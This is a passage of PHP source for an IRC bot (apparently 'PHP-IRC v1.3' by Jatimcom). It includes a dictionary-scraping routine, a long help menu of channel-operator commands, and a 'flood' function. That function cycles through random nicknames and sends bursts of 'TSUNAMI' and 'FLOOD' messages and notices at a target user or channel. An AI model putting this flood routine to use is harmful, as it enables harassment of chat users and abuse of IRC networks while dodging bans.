if(substr($cotedan,0,strlen($strsplit))==$strsplit){$cotedan=substr($cotedan,strlen($strsplit));}
$cotedan=str_replace('</h2>','',$cotedan);
$arredan=explode($strsplit,$cotedan);
for ($i = 0; $i < count($arredan); $i++) {
$arredan[$i]=str_replace("\n","",$arredan[$i]);$arredan[$i]=str_replace("\r","",$arredan[$i]);
$arredan[$i]=str_replace('<br><br>','<br>',$arredan[$i]);
$arredan[$i]=substr($arredan[$i],strpos($arredan[$i],'</span>')+7);$arredan[$i]='<span>'.ltrim($arredan[$i]);
$batas=strpos($arredan[$i],"<span>")+6;$tmpbts=substr($arredan[$i],$batas);
$batas=strpos($tmpbts,"</span>");$tmpbts=substr($tmpbts,0,$batas);$kmusedan[$i]["kata"]=$tmpbts;
$batas=strpos($arredan[$i],'class='.chr(34).'definisi'.chr(34).'>')+17;$tmpbts=substr($arredan[$i],$batas);
$batas=strpos($tmpbts,"</p><p");$tmpbts=substr($tmpbts,0,$batas);
$tmpbts = str_replace("<b>","",$tmpbts);$tmpbts = str_replace("</b>","",$tmpbts);$tmpbts = str_replace("<i>","",$tmpbts);
$tmpbts = str_replace("</i>","",$tmpbts);$kmusedan[$i]["definisi"][strtolower($msg)]=$tmpbts;
$batas=strpos($arredan[$i],'class='.chr(34).'definisi_contoh'.chr(34).'>')+24;$tmpbts=substr($arredan[$i],$batas);
$batas=strpos($tmpbts,"</span></p>");$tmpbts=substr($tmpbts,0,$batas);
$tmpbts=str_replace("<em>","",$tmpbts);$tmpbts=str_replace("</em>","",$tmpbts);
$tmpbts = str_replace("<b>","",$tmpbts);$tmpbts = str_replace("</b>","",$tmpbts);$tmpbts = str_replace("<i>","",$tmpbts);
$tmpbts = str_replace("</i>","",$tmpbts);
$kmusedan[$i]["contoh"][strtolower($msg)]=$tmpbts;
$kmusedan[$i]["kata"][strtolower($msg)]=strtolower($ktslang);
$totalnya++;
}
}
if($totalnya==""){$totalnya=0;}
$kmjml[strtolower($msg)]=$totalnya;
return $totalnya;
}
##############################
function flood($sock,$target,$msg){
global $bot,$tsu,$haltfl;
$this->send($sock,"MODE ".$bot['nick']. " +D");
$nicknofl=$bot['nick'];$lnickfl=rand(5,16);$nickfl="";$tsmsg = substr($msg,strpos($msg,$target)+strlen($target)+1);
for ($i = 1; $i <= $lnickfl; $i++) {$nickfl.=$tsu[rand(0,count($tsu) - 1)];}$this->nick($sock,$nickfl);sleep(2);
if (ereg("#", $target)) {$this->join($sock,$target);}$katafl=$this->rnd_flod();

$this->msg($sock,$target,' '.$tsmsg.' '.$katafl);sleep(1);
$this->notice($sock,$target,' '.$tsmsg.' '.$katafl);
$this->msg($sock,$target,' TSUNAMI '.$tsmsg.' '.$katafl.' ');sleep(1);
$this->msg($sock,$target,' '.$tsmsg.' [] '.$katafl);sleep(1);
$this->notice($sock,$target,' '.$tsmsg.' '.$katafl);sleep(1);
$this->msg($sock,$target,' FLOOD '.$tsmsg.' '.$katafl.' ');sleep(1);


sleep(3);
$lnickfl=rand(5,16);$nickfl="";$tsmsg = substr($msg,strpos($msg,$dCom[1])+strlen($target)+1);
for ($i = 1; $i <= $lnickfl; $i++) {$nickfl.=$tsu[rand(0,count($tsu) - 1)];}$this->nick($sock,$nickfl);sleep(3);$katafl=$this->rnd_flod();

$this->msg($sock,$target,' '.$tsmsg.' '.$katafl);sleep(1);
$this->notice($sock,$target,' '.$tsmsg.' '.$katafl);
$this->msg($sock,$target,' TSUNAMI '.$tsmsg.' '.$katafl.' ');sleep(1);
$this->msg($sock,$target,' '.$tsmsg.' [] '.$katafl);sleep(1);
$this->notice($sock,$target,' '.$tsmsg.' '.$katafl);sleep(1);
$this->msg($sock,$target,' FLOOD '.$tsmsg.' '.$katafl.' ');sleep(1);


sleep(3);
$lnickfl=rand(5,16);$nickfl="";$tsmsg = substr($msg,strpos($msg,$dCom[1])+strlen($target)+1);
for ($i = 1; $i <= $lnickfl; $i++) {$nickfl.=$tsu[rand(0,count($tsu) - 1)];}$this->nick($sock,$nickfl);sleep(4);$katafl=$this->rnd_flod();
$this->msg($sock,$target,' '.$tsmsg.' '.$katafl);sleep(1);
$this->notice($sock,$target,' '.$tsmsg.' '.$katafl);
$this->msg($sock,$target,' TSUNAMI '.$tsmsg.' '.$katafl.' ');sleep(1);
$this->msg($sock,$target,' '.$tsmsg.' [] '.$katafl);;sleep(1);
$this->notice($sock,$target,' '.$tsmsg.' '.$katafl);sleep(1);
$this->msg($sock,$target,' FLOOD '.$tsmsg.' '.$katafl.' ');sleep(1);

if (ereg("#", $target)) {$this->part($sock,$target,$katafl);}
sleep(3);$this->nick($sock,$nicknofl);sleep(1);$haltfl['time']=time();$haltfl['on']=1;
$this->send($sock,"MODE ".$bot['nick']. " -D");
}
function floodctctp($sock,$target){

}

###############################
function mod_help($sock,$nick){
$this->send($sock,"MODE ".$bot['nick']. " +D");
$lvlbot=$this->level_user($nick);
$this->send($sock,"PING :0009927651");
$this->msg($sock,$nick,$this->rnd_logo() .' PHP-IRC v1.3' . " - bot PHP by : 0,1«®¤[ 14J 15A 0TIM 15C 15O 14M 0]¤®» ");
$this->msg($sock,$nick," Perintah Bot..! 0,1«®¤[ 14J 15A 0TIM 15C 15O 14M 0]¤®» ");sleep (2);

$this->msg($sock,$nick," 12^Login <password> 4- 2For login your Bot ");sleep(1);
$this->msg($sock,$nick," 12^Logout 4- 2Logout Your Bot ");sleep(2);

if($lvlbot>1){
$this->msg($sock,$nick," 12.Up 4- 2memberi status operator bot ");sleep(2);
$this->msg($sock,$nick," 12.Down 4- 2membuang status operator bot ");sleep(2);
$this->msg($sock,$nick," 12.O |#chan| <nick> 4- 2memberi Operator orang ");sleep(2);
$this->msg($sock,$nick," 12.Do |#chan| <nick> 4- 2membuang operator orang ");sleep(2);
$this->msg($sock,$nick," 12.H |#chan| <nick> 4- 2memberi status HOP % ");sleep(2);
$this->msg($sock,$nick," 12.Dh |#chan| <nick> 4- 2membuang status HOp % ");sleep(2);
$this->msg($sock,$nick," 12.V |#chan| <nick> 4- 2memberi voice ");sleep(2);
$this->msg($sock,$nick," 12.Dv |#chan| <nick> 4- 2membuang voice ");sleep(2);
$this->msg($sock,$nick," 12.K |#chan| <nick> |msg| 4- 2kick nick ");sleep(1);
$this->msg($sock,$nick," 12.Kc |#chan| <nick> |msg| 4- 2kick nick dengan(ChanServ Stuf) ");sleep(2);
$this->msg($sock,$nick," 12.Kb |#chan| <nick> |msg| 4- 2kick + baned ");sleep(2);
$this->msg($sock,$nick," 12.B |#chan| <nick|hostmask> 4- 2baned nick + hotmask ");sleep(1);
$this->msg($sock,$nick," 12.Ub |#chan| <nick|hostmask> 4- 2 unban + hostmask ");sleep(2);
}
$this->send($sock,"PING :0009927652");
$this->msg($sock,$nick," 12.J <#chan> 4- 2join channel ");sleep (1);
$this->msg($sock,$nick," 12.P <#chan> |msg| 4- 2part channel ");sleep (1);
$this->msg($sock,$nick," 12.Cy <#chan> |msg| 4- 2cycle channel ");sleep (2);

if($lvlbot>2){
$this->msg($sock,$nick," 12.N <newnick> 4- 2change nick bot ");sleep(2);
$this->msg($sock,$nick," 12.S |#chan/nick| <msg> 4- 2pm..... privat message ");sleep (2);
$this->msg($sock,$nick," 12.A |#chan/nick| <text> 4- 2/me ..... action ");sleep(2);
$this->msg($sock,$nick," 12.Ts <#chan/nick> |msg| 4- 2flood stunami ");sleep(1);
}
if($lvlbot>3){$this->msg($sock,$nick," 12.Q <msg> 4- 2kill bot ");}

if($lvlbot>2){
$this->send($sock,"PING :0009927652");
$this->msg($sock,$nick," Perintah system...! 0,1«®¤[ 14J 15A 0TIM 15C 15O 14M 0]¤®» ");sleep(1);
$this->msg($sock,$nick," 12.Server <server> 0,1«®¤[ 14J 15A 0TIM 15C 15O 14M 0]¤®» ");sleep(2);
$this->msg($sock,$nick," 12.Servpass <password> 0,1«®¤[ 14J 15A 0TIM 15C 15O 14M 0]¤®» ");sleep(2);
$this->msg($sock,$nick," 12.Vhost <host> 0,1«®¤[ 14J 15A 0TIM 15C 15O 14M 0]¤®» ");sleep(2);
$this->msg($sock,$nick," 12.Ident <identify> 0,1«®¤[ 14J 15A 0TIM 15C 15O 14M 0]¤®» ");sleep(1);
$this->msg($sock,$nick," 12.Realname <realname> 0,1«®¤[ 14J 15A 0TIM 15C 15O 14M 0]¤®» ");sleep(2);
$this->msg($sock,$nick," 12.Jump 0,1«®¤[ 14J 15A 0TIM 15C 15O 14M 0]¤®» ");sleep(1);
}
$this->msg($sock,$nick," 12.Chgpass <OldPass> <NewPass> 0,1«®¤[ 14J 15A 0TIM 15C 15O 14M 0]¤®» ");sleep(2);
if($lvlbot >1){
$this->msg($sock,$nick," 12.Adduser <NickUser> <PassUser> <LevelUser> 0,1«®¤[ 14J 15A 0TIM 15C 15O 14M 0]¤®» ");sleep(2);
$this->msg($sock,$nick," 12.Deluser <NickUser> 0,1«®¤[ 14J 15A 0TIM 15C 15O 14M 0]¤®» ");sleep(2);
$this->msg($sock,$nick," 12.BotNick 0,1«®¤[ 14J 15A 0TIM 15C 15O 14M 0]¤®» ");sleep(2);
$this->send($sock,"PING :0009927652");sleep(1);
$this->msg($sock,$nick," 12.IdentNick <nick> <password> 4- 2identify 4your bot 0,1«®¤[ 14J 15A 0TIM 15C 15O 14M 0]¤®» ");sleep(1);
$this->msg($sock,$nick," 12.LogoutNick 0,1«®¤[ 14J 15A 0TIM 15C 15O 14M 0]¤®» ");sleep(2);
$this->msg($sock,$nick," 12.Userlist 0,1«®¤[ 14J 15A 0TIM 15C 15O 14M 0]¤®» ");sleep(2);
}
if($lvlbot>2){
$this->msg($sock,$nick," 12.BaseChan <#chan> 0,1«®¤[ 14J 15A 0TIM 15C 15O 14M 0]¤®» ");sleep(2);
$this->msg($sock,$nick," 12.Chanlist <#chan> 0,1«®¤[ 14J 15A 0TIM 15C 15O 14M 0]¤®» ");sleep(2);
$this->msg($sock,$nick," 12.Nicklist <#chan> 0,1«®¤[ 14J 15A 0TIM 15C 15O 14M 0]¤®» ");sleep(1);
$this->msg($sock,$nick," 12.Showison 0,1«®¤[ 14J 15A 0TIM 15C 15O 14M 0]¤®» ");sleep(2);
$this->msg($sock,$nick," 12.Chanison <#chan> 0,1«®¤[ 14J 15A 0TIM 15C 15O 14M 0]¤®» ");sleep(2);
$this->msg($sock,$nick," 12.Settimercycle <detik> 0,1«®¤[ 14J 15A 0TIM 15C 15O 14M 0]¤®» ");sleep(1);
$this->msg($sock,$nick," 12.SetVersion <version> 0,1«®¤[ 14J 15A 0TIM 15C 15O 14M 0]¤®» ");sleep(2);
$this->msg($sock,$nick," 12.SetFinger <finger> 0,1«®¤[ 14J 15A 0TIM 15C 15O 14M 0]¤®» ");sleep(2);
$this->msg($sock,$nick," 12.+/-Ping <#chan> 0,1«®¤[ 14J 15A 0TIM 15C 15O 14M 0]¤®» ");sleep(2);
$this->msg($sock,$nick," 12.+/-Version <#chan> 0,1«®¤[ 14J 15A 0TIM 15C 15O 14M 0]¤®» ");sleep(2);
$this->msg($sock,$nick," 12.+/-Time <#chan> 0,1«®¤[ 14J 15A 0TIM 15C 15O 14M 0]¤®» ");sleep(1);
$this->msg($sock,$nick," 12.+/-Finger <#chan> 0,1«®¤[ 14J 15A 0TIM 15C 15O 14M 0]¤®» ");sleep(2);
$this->msg($sock,$nick," 12.+/-Spoof <#chan> 0,1«®¤[ 14J 15A 0TIM 15C 15O 14M 0]¤®» ");sleep(2);
$this->send($sock,"PING :0009927653");
$this->msg($sock,$nick," 12.+/-Astro <#chan> 0,1«®¤[ 14J 15A 0TIM 15C 15O 14M 0]¤®» ");sleep(2);
$this->msg($sock,$nick," 12.+/-Kslang <#chan> 0,1«®¤[ 14J 15A 0TIM 15C 15O 14M 0]¤®» ");sleep(1);
$this->msg($sock,$nick," 12.+/-Bom <#chan> 4J 2Ust For 4fun 0,1«®¤[ 14J 15A 0TIM 15C 15O 14M 0]¤®» ");sleep(2);
$this->msg($sock,$nick," 12.+/-Dns <#chan> 0,1«®¤[ 14J 15A 0TIM 15C 15O 14M 0]¤®» ");sleep(1);
$this->msg($sock,$nick," 12.+/-Ison <#chan> 0,1«®¤[ 14J 15A 0TIM 15C 15O 14M 0]¤®» ");sleep(2);
$this->msg($sock,$nick," 12.+/-Greet <#chan> 0,1«®¤[ 14J 15A 0TIM 15C 15O 14M 0]¤®» ");sleep(1);
$this->msg($sock,$nick," 12.+/-AutoCycle <#chan> 4- 2auto cycle 4 0,1«®¤[ 14J 15A 0TIM 15C 15O 14M 0]¤®» ");sleep(2);
$this->msg($sock,$nick," 12.+/-AutoJoin 0,1«®¤[ 14J 15A 0TIM 15C 15O 14M 0]¤®» ");sleep(2);
$this->msg($sock,$nick," 12.+/-AutoAway 0,1«®¤[ 14J 15A 0TIM 15C 15O 14M 0]¤®» ");sleep(2);
$this->msg($sock,$nick," 12.+/-ListIson <nick> 0,1«®¤[ 14J 15A 0TIM 15C 15O 14M 0]¤®» ");sleep(2);
$this->msg($sock,$nick," 12.+/-ListGreet <nick> <pesan greet> 0,1«®¤[ 14J 15A 0TIM 15C 15O 14M 0]¤®» ");sleep(1);
}
$this->msg($sock,$nick," recording by Jatimcom");sleep(2);
$this->msg($sock,$nick," 0,1«®¤[ 14J 15A 0TIM 15C 15O 14M 0]¤®» ");sleep(1);
$this->send($sock,"MODE ".$bot['nick']. " -D");
}
###############################
}
################ [ END CLASS IRC BOT ] ###################
?>
read more...